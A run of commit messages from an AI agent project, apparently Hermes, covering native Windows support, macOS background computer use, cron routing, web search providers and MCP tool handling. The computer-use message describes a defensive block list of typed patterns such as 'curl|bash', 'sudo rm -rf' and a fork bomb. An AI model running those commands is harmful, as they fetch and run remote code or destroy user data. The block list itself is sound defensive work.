testable helper (_scrub_child_env) that takes is_windows as a parameter,
so the logic can be unit-tested on any OS.
Live Winsock smoke test verifies that a child spawned with the scrubbed
env can now create an AF_INET socket on a real Windows host; the test
is guarded by sys.platform == 'win32' so POSIX CI stays green.
teknium1 noticed execute_code was missing from his enabled tools on Windows.
Root cause: tools/code_execution_tool.py set ``SANDBOX_AVAILABLE =
sys.platform != \"win32\"`` as a module-level constant, originally because
the RPC transport required AF_UNIX. We added loopback TCP fallback for
the sandbox in commit eeb723fff (and covered it in the Windows TCP tests),
but forgot to lift the availability gate. So execute_code was still
invisible via the check_fn path on Windows.
- SANDBOX_AVAILABLE is now True unconditionally (it's still checked — a
future platform could flip it off via monkeypatch/env if needed).
- Error message when disabled no longer mentions Windows specifically,
just says 'sandbox is unavailable in this environment'.
- test_windows_returns_error updated: patches SANDBOX_AVAILABLE=False
directly (which was always its real intent) and asserts on 'unavailable'
instead of 'Windows'.
Tests: 171 code-execution + windows-compat tests pass, no regressions.
Three bugs from teknium1's successful install + diagnostic chat on Windows:
1. **Start-Process -FilePath npm.cmd fails with "%1 is not a valid Win32
application".** Start-Process bypasses cmd.exe and PATHEXT to call
CreateProcessW directly, which refuses .cmd batch shims. Switched
Install-NodeDeps to use PowerShell's invocation operator (``& $npmExe
install --silent *> $log``) which DOES honour PATHEXT. Extracted a
``_Run-NpmInstall`` helper so the browser + TUI paths share the same
logic. Captures $LASTEXITCODE correctly, still surfaces the real
stderr on failure with a log-file pointer for the full output.
2. **patch tool returns false-negative on Windows due to CRLF round-trip.**
Root cause was upstream of patch: ``subprocess.Popen(..., text=True,
stdin=PIPE)`` on Windows translates ``\\n`` → ``\\r\\n`` when data flows
through the stdin pipe. ``_pipe_stdin()`` was writing the patch's
new_content string through a text-mode pipe, bash then wrote those
CRLF bytes to disk, and patch's post-write verify compared the
on-disk CRLF bytes against the original LF-only string — fail.
Fixed in two places for defense in depth:
- ``_pipe_stdin()`` now writes through ``proc.stdin.buffer`` with
explicit UTF-8 encoding, bypassing Python's newline translation on
every platform. No behaviour change on POSIX (bytes are identical)
but stops the CRLF injection on Windows.
- ``patch_replace``'s post-write verify normalizes CRLF→LF on both
sides before comparing, so even if some future backend still
translates newlines the patch tool won't report a bogus failure.
3. **SOUL.md gets a UTF-8 BOM on Windows PowerShell 5.1.** ``Set-Content
-Encoding UTF8`` on PS5.1 writes UTF-8 WITH a byte-order-mark (changed
in PS7 via ``utf8NoBOM``). Hermes's prompt-injection scanner sees
the BOM (U+FEFF invisible char) and refuses to load the file, so
SOUL.md's persona instructions never get applied.
Fixed by writing the file via ``[System.IO.File]::WriteAllText``
with an explicit ``UTF8Encoding($false)`` — BOM-free on every
PowerShell version.
All POSIX behaviour verified unchanged: 198 tests pass across
test_file_operations, test_local_env_cwd_recovery, test_code_execution,
test_windows_native_support, test_windows_compat.
Three interrelated bugs from teknium1's first interactive chat on Windows:
1. **Snapshot/cwd file paths unquoted in bash command strings.** The session
bootstrap and per-command wrapper interpolated
``self._snapshot_path`` / ``self._cwd_file`` unquoted into bash commands
like ``export -p > C:/Users/ryanc/.../hermes-snap-xxx.sh``. Git Bash's
MSYS2 layer handles ``C:/...`` paths correctly ONLY when quoted; unquoted,
the colon and forward-slash get glob-parsed and the redirect targets a
bogus path. Symptom: every terminal command emitted two
``C:/Users/.../hermes-snap-*.sh (No such file or directory)`` lines that
bled into stdout (``stderr=STDOUT`` on the local backend) and corrupted
file contents when the agent wrote to scratch paths via the terminal
tool. Fix: ``shlex.quote()`` every interpolation of ``_snapshot_path``
and ``_cwd_file`` in base.py — no-op on POSIX (the paths contain no
shell-metachars), critical on Windows.
2. **Stale PATH on first hermes launch after install.** ``install.ps1``
adds the PortableGit ``cmd`` / ``bin`` / ``usr\bin`` directories to the
Windows **User** PATH via ``SetEnvironmentVariable(..., "User")``. That
write propagates to newly *spawned* processes only — already-running
shells (including the one the user types ``hermes`` into immediately
after install) retain their old PATH. So hermes starts with a PATH that
doesn't include bash, rg, grep, ssh — and ``search_files`` reports
"rg/find not available" when the user clearly just installed them.
Fix: new ``_augment_path_with_known_tools()`` helper called from
``configure_windows_stdio()`` on startup. Prepends the Hermes-managed
Git directories + the WinGet Links directory (where ripgrep lands) to
``os.environ['PATH']`` if they exist on disk but aren't already in
PATH. Subsequent subprocess calls (including bash spawns via
``_find_bash()``) inherit the augmented PATH and find everything.
No-op on POSIX and when the directories don't exist.
3. **Root cause of "file content corruption".** #1 was the proximate cause.
Errors like ``C:/Users/.../hermes-snap-xxx.sh: No such file or directory``
were emitted on stderr by the failed redirect, captured into stdout via
``stderr=subprocess.STDOUT``, and if the agent used terminal commands
like ``cat > file`` the leaked error bytes became part of the file.
Fixing #1 eliminates this entirely.
## Tests
All 77 Windows-compat tests still pass on Linux (POSIX path is
shlex.quote('/tmp/foo.sh') → '/tmp/foo.sh' — unchanged).
## Not addressed here (would need a bigger design)
- Python file tools (``write_file``, ``read_file``) and the bash-backed
terminal tool see DIFFERENT views of ``/tmp`` on Windows. Python treats
``/tmp`` as ``C:\tmp`` (drive-relative), Git Bash's MSYS2 treats it as
a virtual mount to the PortableGit install's ``tmp\``. Would need a
translation shim in the Python tools to resolve bash-virtual paths to
their native-Windows equivalents. Workaround for users today: use
absolute native paths (``C:\Users\you\...``) instead of ``/tmp/...``
when crossing between terminal and Python file tools.
Three real bugs from teknium1's first Windows install run:
1. **MinGit has no bash.exe.** MinGit is the minimal-automation Git for Windows
distribution — it ships git.exe but deliberately strips bash and the POSIX
coreutils. Installer logged "Could not locate bash.exe" and Hermes would
fail to run any shell command. Switched to PortableGit — the full Git for
Windows minus the installer UI. PortableGit ships bash.exe at
<root>\bin\bash.exe plus sh, awk, sed, grep, curl, ssh in usr\bin\. ARM64
variant is detected separately (PortableGit-*-arm64.7z.exe). 32-bit falls
back to MinGit-32-bit with a warning (PortableGit is 64-bit only).
PortableGit ships as a 7z self-extractor (56MB vs MinGit's 38MB). We
invoke it with `-o<target> -y` to extract silently — no 7z install needed,
it's self-contained.
Updated tools/environments/local.py::_find_bash candidate order to prefer
the PortableGit layout (<root>\bin\bash.exe) with the MinGit layout
(<root>\usr\bin\bash.exe) as a fallback so existing installs keep working.
2. **os.execvp "Exec format error" on Windows.** Setup wizard's "Launch
hermes chat now? Y" called `os.execvp(["hermes", "chat"])` which on
Windows can only swap to real Win32 .exe files — chokes with OSError(8)
on .cmd batch shims and Python console-script wrappers. Added a
win32 branch in hermes_cli/relaunch.py::relaunch() that uses
subprocess.run + sys.exit — functionally identical (user sees "hermes
exited, then new hermes started") with one extra PID in play. POSIX
path is UNCHANGED — still uses os.execvp for in-place replacement.
Catches OSError in the Windows branch and surfaces a "open a new
terminal so PATH picks up, then re-run hermes" hint instead of a
cryptic traceback.
3. **npm install failures silent on Windows.** The install.ps1 was invoking
`npm install --silent 2>&1 | Out-Null` inside a try/catch. PowerShell's
try/catch does NOT trigger on non-zero process exit codes — only on
unhandled .NET exceptions — so npm failing printed a generic "npm
install failed" with zero information about WHY. The silent pipe ate
the stderr.
Rewrote Install-NodeDeps to:
- Resolve npm.cmd via Get-Command (respects PATHEXT) instead of
relying on bare `npm` name resolution.
- Use Start-Process with -PassThru to capture the actual exit code.
- Redirect stderr to a temp log and surface the first ~800 chars of
the real npm error when install fails, plus the log path for the
full text.
- Fail loudly with the right exit code instead of a misleading success.
- Bail cleanly with a helpful message when npm isn't on PATH at all.
4. **"True" printing to console after Node check.** `Test-Node` returns $true;
installer called it as a bare statement (no assignment, no cast). PowerShell
prints bare return values. Wrapped the call in `[void](Test-Node)`.
## Tests
- Added 3 new tests in tests/hermes_cli/test_relaunch.py covering the
Windows branch: subprocess is called (not execvp), child exit code
propagates, OSError surfaces a helpful message. All 23 tests pass
(20 existing + 3 new).
- 77 Windows-compat tests still pass, POSIX behaviour unchanged.
Second pass on native Windows support, driven by a systematic audit across
five areas: POSIX-only primitives (signal.SIGKILL/SIGHUP/SIGPIPE, os.WNOHANG,
os.setsid), path translation bugs (/c/Users → C:\Users), subprocess patterns
(npm.cmd batch shims, start_new_session no-op on Windows), subsystem health
(cron, gateway daemon, update flow), and module-level import guards.
Every change is platform-gated — POSIX (Linux/macOS) behaviour is preserved
bit-identical. Explicit "do no harm" test: test_posix_path_preserved_on_linux,
test_posix_noop, test_windows_detach_popen_kwargs_is_posix_equivalent_on_posix.
## New module
- hermes_cli/_subprocess_compat.py — shared helpers (resolve_node_command,
windows_detach_flags, windows_hide_flags, windows_detach_popen_kwargs).
All no-ops on non-Windows.
## CRITICAL fixes (would crash or silently break on Windows)
- tui_gateway/entry.py: SIGPIPE/SIGHUP referenced at module top level would
AttributeError on import on Windows, breaking `hermes --tui` entirely (it
spawns this module as a subprocess). Guard each signal.signal() call with
hasattr() and add SIGBREAK as Windows' SIGHUP equivalent.
- hermes_cli/kanban_db.py: os.waitpid(-1, os.WNOHANG) in dispatcher tick was
unguarded. os.WNOHANG doesn't exist on Windows. Gate the whole reap loop
behind `os.name != "nt"` — Windows has no zombies anyway.
- tools/code_execution_tool.py: AF_UNIX socket for execute_code RPC fails on
most Windows builds. Fall back to loopback TCP (AF_INET on 127.0.0.1:0
ephemeral port) when _IS_WINDOWS. HERMES_RPC_SOCKET env var now accepts
either a filesystem path (POSIX) or `tcp://127.0.0.1:<port>` (Windows).
Generated sandbox client parses both.
- cron/scheduler.py: `argv = ["/bin/bash", str(path)]` hardcoded. Use
shutil.which("bash") so Windows (Git Bash via MinGit) works, with a
readable error when bash is genuinely absent.
- 6 bare npm/npx spawn sites: tools_config.py x2, doctor.py, whatsapp.py
(npm install + node version probe), browser_tool.py x2. On Windows npm
is npm.cmd / npx is npx.cmd (batch shims); subprocess.Popen(["npm", ...])
fails with WinError 193. shutil.which(...) returns the absolute .cmd
path which CreateProcessW accepts because the extension routes through
cmd.exe /c. POSIX behaviour unchanged (shutil.which still returns the
same path subprocess would resolve itself).
## HIGH fixes (silent misbehaviour on Windows)
- tools/environments/local.py get_temp_dir: hardcoded /tmp returned on
Windows meant `_cwd_file = "/tmp/hermes-cwd-*.txt"`, which bash wrote
via MSYS2's virtual /tmp but native Python couldn't open. Result: cwd
tracking silently broken — `cd` in terminal tool did nothing. Windows
branch now returns `%HERMES_HOME%/cache/terminal` with forward slashes
(works in both bash and Python, guaranteed no spaces).
- tools/environments/local.py _make_run_env PATH injection: `/usr/bin not
in split(":")` heuristic mangles Windows PATH (";" separator). Gate
the injection behind `not _IS_WINDOWS`.
- hermes_cli/gateway.py launch_detached_profile_gateway_restart: outer
Popen + watcher-script Popen both used start_new_session=True, which
Windows silently ignores. Watcher stayed attached to CLI's console,
died when user closed terminal after `hermes update`, left gateway
stale. Now branches through windows_detach_popen_kwargs() helper
(CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW on
Windows, start_new_session=True on POSIX — identical to main).
## MEDIUM fixes
- gateway/run.py /restart and /update handlers: hardcoded bash/setsid
chain crashes on Windows when user triggers /update in-gateway. Now
has sys.platform=="win32" branch using sys.executable + a tiny
Python watcher with proper detach flags. POSIX path is unchanged.
- cli.py _git_repo_root: Git on Windows sometimes returns /c/Users/...
style paths that break subprocess.Popen(cwd=...) and Path().resolve().
Added _normalize_git_bash_path() helper that translates /c/Users,
/cygdrive/c, /mnt/c variants to native C:\Users form. POSIX no-op.
_git_repo_root() now routes every result through it.
- cli.py worktree .worktreeinclude: os.symlink on directories failed
hard on Windows (requires admin or Developer Mode). Falls back to
shutil.copytree with a warning log.
## Tests
- 29 new tests in tests/tools/test_windows_native_support.py covering:
subprocess_compat helpers, TUI entry signal guards, kanban waitpid
guard, code_execution TCP fallback source-level invariants, cron bash
resolution, npm/npx bare-spawn lint per-file, local env Windows temp
dir, PATH injection gating, git bash path normalization, symlink
fallback, gateway detached watcher flags.
- One existing test assertion adjusted in test_browser_homebrew_paths:
it compared captured Popen argv to the BARE `"npx"` literal; after the
shutil.which() change argv[0] is the absolute path. New assertion
checks the shape (two items, second is `agent-browser`) rather than
the exact first-item string. Behaviour unchanged; test was too strict.
All 56 tests pass on Linux (30 from previous commits + 26 new).
267 tests from the affected files/dirs (browser, code_exec, local_env,
process_registry, kanban_db, windows_compat) all pass — zero regressions.
tests/hermes_cli/ (3909 pass) and tests/gateway/ (5021 pass) unchanged;
all pre-existing test failures confirmed unrelated via `git stash` re-run.
## What's still deferred (LOW priority)
- Visible cmd-window flashes on short-lived console apps (~14 sites) —
cosmetic, needs a follow-up pass once we have user reports.
- agent/file_safety.py POSIX-only security deny patterns — separate
hardening task.
- tools/process_registry.py returning "/tmp" as fallback — theoretical;
reachable only when all env-var candidates fail.
User hit a real failure case: their system Git was in a half-installed state
(can neither uninstall nor reinstall) and winget refused to work around it.
We were one step away from shipping an installer that would have left users
with exactly the problem he already had.
What other agents do (reality check):
- Claude Code: requires pre-installed Git; breaks if user doesn't have it.
- OpenCode, Codex: don't need bash at all — PowerShell-first design.
- Cline: uses whatever shell VSCode is configured with; installs nothing.
None of them solve the "broken system Git" problem. We need to own our Git.
Changes:
- scripts/install.ps1::Install-Git: dropped winget path entirely. Now:
(1) use existing git if present; (2) download portable MinGit from the
official git-for-windows GitHub release to %LOCALAPPDATA%\hermes\git.
No winget, no admin, no Windows installer registry, no system impact.
- Added %LOCALAPPDATA%\hermes\git\{cmd,usr\bin} to User PATH so git + bash
+ POSIX coreutils (which, env, grep, …) resolve in fresh shells.
- tools/environments/local.py::_find_bash: reorder so Hermes' portable
MinGit install is checked BEFORE falling through to shutil.which("bash")
or system install locations. This way a broken system Git can't
hijack the bash lookup.
- README + installation docs reworded to reflect the new story: "portable
Git Bash, isolated from any system install, recoverable via rm -rf if it
ever breaks."
Recoverability: if Hermes' Git install ever breaks, ``Remove-Item %LOCALAPPDATA%\hermes\git``
and re-run the installer — no system impact, no uninstall drama, no winget
to fight with.
Native Windows (with Git for Windows installed) can now run the Hermes CLI
and gateway end-to-end without crashing. install.ps1 already existed and
the Git Bash terminal backend was already wired up — this PR fills the
remaining gaps discovered by auditing every Windows-unsafe primitive
(`signal.SIGKILL`, `os.kill(pid, 0)` probes, bare `fcntl`/`termios`
imports) and by comparing hermes against how Claude Code, OpenCode, Codex,
and Cline handle native Windows.
## What changed
### UTF-8 stdio (new module)
- `hermes_cli/stdio.py` — single `configure_windows_stdio()` entry point.
Flips the console code page to CP_UTF8 (65001), reconfigures
`sys.stdout`/`stderr`/`stdin` to UTF-8, sets `PYTHONIOENCODING` + `PYTHONUTF8`
for subprocesses. No-op on non-Windows. Opt out via `HERMES_DISABLE_WINDOWS_UTF8=1`.
- Called early in `cli.py::main`, `hermes_cli/main.py::main`, and
`gateway/run.py::main` so Unicode banners (box-drawing, geometric
symbols, non-Latin chat text) don't `UnicodeEncodeError` on cp1252
consoles.
### Crash sites fixed
- `hermes_cli/main.py:7970` (hermes update → stuck gateway sweep): raw
`os.kill(pid, _signal.SIGKILL)` → `gateway.status.terminate_pid(pid, force=True)`
which routes through `taskkill /T /F` on Windows.
- `hermes_cli/profiles.py::_stop_gateway_process`: same fix — also
converted SIGTERM path to `terminate_pid()` and widened OSError catch
on the intermediate `os.kill(pid, 0)` probe.
- `hermes_cli/kanban_db.py:2914, 3041`: raw `signal.SIGKILL` →
`getattr(signal, "SIGKILL", signal.SIGTERM)` fallback (matches the
pattern already used in `gateway/status.py`).
### OSError widening on `os.kill(pid, 0)` probes
Windows raises `OSError` (WinError 87) for a gone PID instead of
`ProcessLookupError`. Widened the catch at:
- `gateway/run.py:15101` (`--replace` wait-for-exit loop — without this,
the loop busy-spins the full 10s every Windows gateway start)
- `hermes_cli/gateway.py:228, 460, 940`
- `hermes_cli/profiles.py:777`
- `tools/process_registry.py::_is_host_pid_alive`
- `tools/browser_tool.py:1170, 1206`
### Dashboard PTY graceful degradation
`hermes_cli/pty_bridge.py` depends on `fcntl`/`termios`/`ptyprocess`,
none of which exist on native Windows. Previously a Windows dashboard
would crash on `import hermes_cli.web_server` because of a top-level
import. Now:
- `hermes_cli/web_server.py` wraps the pty_bridge import in
`try/except ImportError` and sets `_PTY_BRIDGE_AVAILABLE=False`.
- The `/api/pty` WebSocket handler returns a friendly "use WSL2 for
this tab" message instead of exploding.
- Every other dashboard feature (sessions, jobs, metrics, config
editor) runs natively on Windows.
### Dependency
- `pyproject.toml`: add `tzdata>=2023.3; sys_platform == 'win32'` so
Python's `zoneinfo` works on Windows (which has no IANA tzdata
shipped with the OS). Credits @sprmn24 (PR #13182).
### Docs
- README.md: removed "Native Windows is not supported"; added
PowerShell one-liner and Git-for-Windows prerequisite note.
- `website/docs/getting-started/installation.md`: new Windows section
with capability matrix (everything native except the dashboard
`/chat` PTY tab, which is WSL2-only).
- `website/docs/user-guide/windows-wsl-quickstart.md`: reframed as
"WSL2 as an alternative to native" rather than "the only way".
- `website/docs/developer-guide/contributing.md`: updated
cross-platform guidance with the `signal.SIGKILL` / `OSError`
rules we enforce now.
- `website/docs/user-guide/features/web-dashboard.md`: acknowledged
native Windows works for everything except the embedded PTY pane.
## Why this shape
Pulled from a survey of how other agent codebases handle native
Windows (Claude Code, OpenCode, Codex, Cline):
- All four treat Git Bash as the canonical shell on Windows, same as
hermes already does in `tools/environments/local.py::_find_bash()`.
- None of them force `SetConsoleOutputCP` — but they don't have to,
Node/Rust write UTF-16 to the Win32 console API. Python does not get
that for free, so we flip CP_UTF8 via ctypes.
- None of them ship PowerShell-as-primary-shell (Claude Code exposes
PS as a secondary tool; scope creep for this PR).
- All of them use `taskkill /T /F` for force-kill on Windows, which
is exactly what `gateway.status.terminate_pid(force=True)` does.
## Non-goals (deliberate scope limits)
- No PowerShell-as-a-second-shell tool — worth designing separately.
- No terminal routing rewrite (#12317, #15461, #19800 cluster) — that's
the hardest design call and needs a separate doc.
- No wholesale `open()` → `open(..., encoding="utf-8")` sweep (Tianworld
cluster) — will do as follow-up if users hit actual breakage; most
modern code already specifies it.
## Validation
- 28 new tests in `tests/tools/test_windows_native_support.py` — all
platform-mocked, pass on Linux CI. Cover:
- `configure_windows_stdio` idempotency, opt-out, env-preservation
- `terminate_pid` taskkill routing, failure → OSError, FileNotFoundError fallback
- `getattr(signal, "SIGKILL", …)` fallback shape
- `_is_host_pid_alive` OSError widening (Windows-gone-PID behavior)
- Source-level checks that all entry points call `configure_windows_stdio`
- pty_bridge import-guard present in `web_server.py`
- README no longer says "not supported"
- 12 pre-existing tests in `tests/tools/test_windows_compat.py` still pass.
- `tests/hermes_cli/` ran fully (3909 passed, 9 failures — all confirmed
pre-existing on main by stash-test).
- `tests/gateway/` ran fully (5021 passed, 1 pre-existing failure).
- `tests/tools/test_process_registry.py` + `test_browser_*` pass.
- Manual smoke: `import hermes_cli.stdio; import gateway.run;
import hermes_cli.web_server` — all clean, `_PTY_BRIDGE_AVAILABLE=True`
on Linux (as expected).
## Files
- New: `hermes_cli/stdio.py`, `tests/tools/test_windows_native_support.py`
- Modified: `cli.py`, `gateway/run.py`, `hermes_cli/main.py`,
`hermes_cli/profiles.py`, `hermes_cli/gateway.py`,
`hermes_cli/kanban_db.py`, `hermes_cli/pty_bridge.py`,
`hermes_cli/web_server.py`, `tools/browser_tool.py`,
`tools/process_registry.py`, `pyproject.toml`, `README.md`, and 4
docs pages.
Credits to everyone whose prior PR work informed these fixes — see
the co-author trailers. All of the PRs listed in
`~/.hermes/plans/windows-support-prs.md` fixing `os.kill` / `signal.SIGKILL`
/ UTF-8 stdio / tzdata / README patterns found the same issues; this PR
consolidates them.
Co-authored-by: Philip D'Souza <9472774+PhilipAD@users.noreply.github.com>
Co-authored-by: Arecanon <42595053+ArecaNon@users.noreply.github.com>
Co-authored-by: XiaoXiao0221 <263113677+XiaoXiao0221@users.noreply.github.com>
Co-authored-by: Lars Hagen <1360677+lars-hagen@users.noreply.github.com>
Co-authored-by: Luan Dias <65574834+luandiasrj@users.noreply.github.com>
Co-authored-by: Ruzzgar <ruzzgarcn@gmail.com>
Co-authored-by: sprmn24 <oncuevtv@gmail.com>
Co-authored-by: adybag14-cyber <252811164+adybag14-cyber@users.noreply.github.com>
Co-authored-by: Prasanna28Devadiga <54196612+Prasanna28Devadiga@users.noreply.github.com>
Extends the cua-driver computer-use backend to drive backgrounded macOS
windows without stealing keyboard or mouse focus from the foreground app.
All changes target the cua-driver MCP backend and the shared dispatcher.
## cua_backend.py
**Window-aware capture**: capture() now calls list_windows + get_window_state
instead of the removed capture tool. Prefers structuredContent.windows
(MCP 2024-11-05+ cua-driver) for zero-parse window enumeration; falls back
to regex-parsed text for older builds. Stores the selected (pid, window_id)
as sticky context so subsequent action calls do not need a redundant round-trip.
**Action routing**: click/scroll/type_text/key all carry the sticky pid
(and window_id for element-indexed clicks). type_text routes through
type_text_chars (individual key events) rather than AX attribute write --
WebKit AXTextFields reject attribute writes from backgrounded processes.
**Key parsing**: _parse_key_combo splits cmd+s-style strings into
(key, [modifiers]) and routes to hotkey (modifier present) or
press_key (bare key) -- cua-driver actual tool names.
**set_value method**: new set_value(value, element) calls the cua-driver
set_value MCP tool. For AXPopUpButton / HTML select in a backgrounded Safari,
AXPress opens the native macOS popup which closes immediately when the app is
non-frontmost; set_value AX-presses the matching child option directly
(no menu required, no focus steal).
**focus_app**: reimplemented as a pure window-selector (enumerates
list_windows, sets sticky pid/window_id) without ever raising the window
or stealing focus.
**list_apps**: fixed tool name from listApps to list_apps; handles plain-text
response via regex when structured data is absent.
**Structured-content extraction**: _extract_tool_result now surfaces
structuredContent from MCP results, enabling the list_windows window array
without text parsing.
**Helpers**: _parse_windows_from_text, _parse_elements_from_tree,
_split_tree_text, _parse_key_combo extracted as module-level functions.
## schema.py
Added set_value to the action enum with a description explaining when to
prefer it over click (select/popup elements, sliders, no focus steal).
Added value field for set_value payloads.
## tool.py
Routed set_value action through _dispatch to backend.set_value.
Added set_value to _DESTRUCTIVE_ACTIONS (approval-gated).
Fixed MIME-type detection in _capture_response: cua-driver may return
JPEG; detect from base64 magic bytes (/9j/ -> image/jpeg, else image/png)
rather than hardcoding image/png.
## agent/display.py + run_agent.py
Guard _detect_tool_failure and result-preview logic against non-string
function_result values: multimodal tool results (dicts with _multimodal=True)
are not string-sliceable; treat them as successes and fall back to str()
for length/preview.
Background macOS desktop control via cua-driver MCP — does NOT steal the
user's cursor or keyboard focus, works with any tool-capable model.
Replaces the Anthropic-native `computer_20251124` approach from the
abandoned #4562 with a generic OpenAI function-calling schema plus SOM
(set-of-mark) captures so Claude, GPT, Gemini, and open models can all
drive the desktop via numbered element indices.
- `tools/computer_use/` package — swappable ComputerUseBackend ABC +
CuaDriverBackend (stdio MCP client to trycua/cua's cua-driver binary).
- Universal `computer_use` tool with one schema for all providers.
Actions: capture (som/vision/ax), click, double_click, right_click,
middle_click, drag, scroll, type, key, wait, list_apps, focus_app.
- Multimodal tool-result envelope (`_multimodal=True`, OpenAI-style
`content: [text, image_url]` parts) that flows through
handle_function_call into the tool message. Anthropic adapter converts
into native `tool_result` image blocks; OpenAI-compatible providers
get the parts list directly.
- Image eviction in convert_messages_to_anthropic: only the 3 most
recent screenshots carry real image data; older ones become text
placeholders to cap per-turn token cost.
- Context compressor image pruning: old multimodal tool results have
their image parts stripped instead of being skipped.
- Image-aware token estimation: each image counts as a flat 1500 tokens
instead of its base64 char length (~1MB would have registered as
~250K tokens before).
- COMPUTER_USE_GUIDANCE system-prompt block — injected when the toolset
is active.
- Session DB persistence strips base64 from multimodal tool messages.
- Trajectory saver normalises multimodal messages to text-only.
- `hermes tools` post-setup installs cua-driver via the upstream script
and prints permission-grant instructions.
- CLI approval callback wired so destructive computer_use actions go
through the same prompt_toolkit approval dialog as terminal commands.
- Hard safety guards at the tool level: blocked type patterns
(curl|bash, sudo rm -rf, fork bomb), blocked key combos (empty trash,
force delete, lock screen, log out).
- Skill `apple/macos-computer-use/SKILL.md` — universal (model-agnostic)
workflow guide.
- Docs: `user-guide/features/computer-use.md` plus reference catalog
entries.
44 new tests in tests/tools/test_computer_use.py covering schema
shape (universal, not Anthropic-native), dispatch routing, safety
guards, multimodal envelope, Anthropic adapter conversion, screenshot
eviction, context compressor pruning, image-aware token estimation,
run_agent helpers, and universality guarantees.
469/469 pass across tests/tools/test_computer_use.py + the affected
agent/ test suites.
- `model_tools.py` provider-gating: the tool is available to every
provider. Providers without multi-part tool message support will see
text-only tool results (graceful degradation via `text_summary`).
- Anthropic server-side `clear_tool_uses_20250919` — deferred;
client-side eviction + compressor pruning cover the same cost ceiling
without a beta header.
- macOS only. cua-driver uses private SkyLight SPIs
(SLEventPostToPid, SLPSPostEventRecordTo,
_AXObserverAddNotificationAndCheckRemote) that can break on any macOS
update. Pin with HERMES_CUA_DRIVER_VERSION.
- Requires Accessibility + Screen Recording permissions — the post-setup
prints the Settings path.
Supersedes PR #4562 (pyautogui/Quartz foreground backend, Anthropic-
native schema). Credit @0xbyt4 for the original #3816 groundwork whose
context/eviction/token design is preserved here in generic form.
The prior implementation routed download_to_file through the shared
_request() path, which uses httpx.AsyncClient.request() inside a
context manager that closes before aiter_bytes() iterates. The body
was read into memory first and the chunked write loop replayed it
from buffer. On small test payloads this was invisible; on real
Teams meeting recordings (hundreds of MB) it would force the full
artifact into RAM per download.
Rewrites download_to_file to open its own AsyncClient and use
client.stream(), keeping the context open across the aiter_bytes
iteration so the body is actually streamed chunk-by-chunk to disk.
Retry/token-refresh/Retry-After semantics are preserved by handling
them inline on the stream path. Partial .part files are cleaned up
on transport errors and on exhausted retries.
Adds three tests: large-payload streaming verifies the chunk loop
runs multiple times (discriminator: 512 KiB at chunk_size=65536
yields 8 chunks under streaming, 1 under buffering), transient-5xx
retry recovers after a single retry, and exhausted-retry cleans up
the partial file.
The new _is_gateway_approval_context() widened the gateway classification
to any call with HERMES_SESSION_PLATFORM bound via contextvars. But
cron/scheduler.py binds that same contextvar for delivery routing on
cron jobs that originate from a gateway platform (telegram/discord/etc.),
so those jobs were getting routed through submit_pending with no
listener — blocking indefinitely instead of honoring approvals.cron_mode.
Short-circuit on HERMES_CRON_SESSION before any gateway check. Cron is
always governed by cron_mode config, regardless of where the job was
scheduled from.
Adds regression coverage in TestCronWithGatewayOrigin and records the
contributor email mapping for scripts/release.py.
Adds one reserved token to the cron `deliver` field:
- `all` — expand to every platform with a configured home channel
Resolves at fire time, not create time, so a job created before Telegram
was wired up picks it up once `TELEGRAM_HOME_CHANNEL` is set. Composes
with existing targets: `origin,all`, `all,telegram:-100:17`.
Inspired by Vellum Assistant's reminder routing-intent system.
## Changes
- cron/scheduler.py: _expand_routing_tokens + integrate into _resolve_delivery_targets
- tools/cronjob_tools.py: schema description updated
- tests/cron/test_scheduler.py: TestRoutingIntents (5 cases)
- website/docs/user-guide/features/cron.md: docs + table rows
## Validation
- tests/cron/test_scheduler.py -k 'Routing or Deliver' → 57 passed
Both implement WebSearchProvider via tools/web_providers/ — matching the
existing SearXNG pattern (PR #5c906d702). Search-only; pair with any
extract provider via web.extract_backend.
- tools/web_providers/brave_free.py — Brave Search API (free tier, 2k
queries/mo). Uses BRAVE_SEARCH_API_KEY as X-Subscription-Token.
- tools/web_providers/ddgs.py — DuckDuckGo via the ddgs Python package.
No API key; gated on package importability.
- tools/web_tools.py: both backends added to _get_backend() config list
and auto-detect chain (trails paid providers), _is_backend_available,
web_search_tool dispatch, web_extract_tool + web_crawl_tool search-only
refusals, check_web_api_key, and the __main__ diagnostic. Introduces
_ddgs_package_importable() helper so tests can monkeypatch a single
symbol for the ddgs availability check.
- hermes_cli/tools_config.py: picker entries for both providers; ddgs
gets a post_setup handler that runs `pip install ddgs`.
- hermes_cli/config.py: BRAVE_SEARCH_API_KEY in OPTIONAL_ENV_VARS.
- scripts/release.py: AUTHOR_MAP entry for @Abd0r.
- tests: 14 new tests (brave-free) + 15 new tests (ddgs) covering
provider unit behavior, backend wiring, and search-only refusals.
Salvages the brave-free + ddgs portion of PR #19796. Not included: the
in-line helpers in web_tools.py (replaced with provider modules to match
the shipped architecture), the lynx-based extract path (these backends
should refuse extract with a clear error — users pair with a real
extract provider), and scripts/start-llama-server.sh (unrelated).
Co-authored-by: Abd0r <223003280+Abd0r@users.noreply.github.com>
For every connected MCP server we register four "utility" tool schemas
(mcp_<server>_list_resources, read_resource, list_prompts, get_prompt).
The existing gate was `hasattr(server.session, method)` — but
`mcp.ClientSession` defines all four methods on the class regardless of
what the remote server supports, so the gate never filtered anything.
Tools-only servers (e.g. @upstash/context7-mcp which advertises only
`tools`) ended up with 4 dead stubs; every model call to them returned
JSON-RPC -32601 Method not found, which made the model conclude the
server was broken even when the real tools worked.
Capture the `InitializeResult` returned by `await session.initialize()`
on the `MCPServerTask`, then gate each utility schema on the
corresponding `capabilities` sub-object (resources / prompts). A
legacy `hasattr` fallback runs when `initialize_result` is missing
(older test fixtures / not-yet-captured code paths) so pre-existing
behavior is preserved.
Verified against real `mcp.types.InitializeResult` pydantic models:
- Context7 shape (tools only) → 0 utility stubs registered (was 4)
- Resources-only server → 2 stubs (list_resources, read_resource)
- Prompts-only server → 2 stubs (list_prompts, get_prompt)
- Fully capable server → all 4 stubs
Closes#18051.
Co-authored-by: nikolay-bratanov <nikolay-bratanov@users.noreply.github.com>
MCP tool results can include ImageContent blocks (screenshots from
Playwright/Blockbench/Puppeteer etc). The tool result handler only
extracted block.text, so image blocks were silently dropped and the
agent saw an empty or text-only response — losing the actual payload.
Add _cache_mcp_image_block() that base64-decodes the block, validates
the bytes via gateway.platforms.base.cache_image_from_bytes (which
sniffs for PNG/JPEG/WebP signatures and rejects non-images), writes to
the shared `~/.hermes/cache/images/` dir, and returns a MEDIA:<path>
tag. The handler appends that tag to the result parts so downstream
gateway adapters render the image inline.
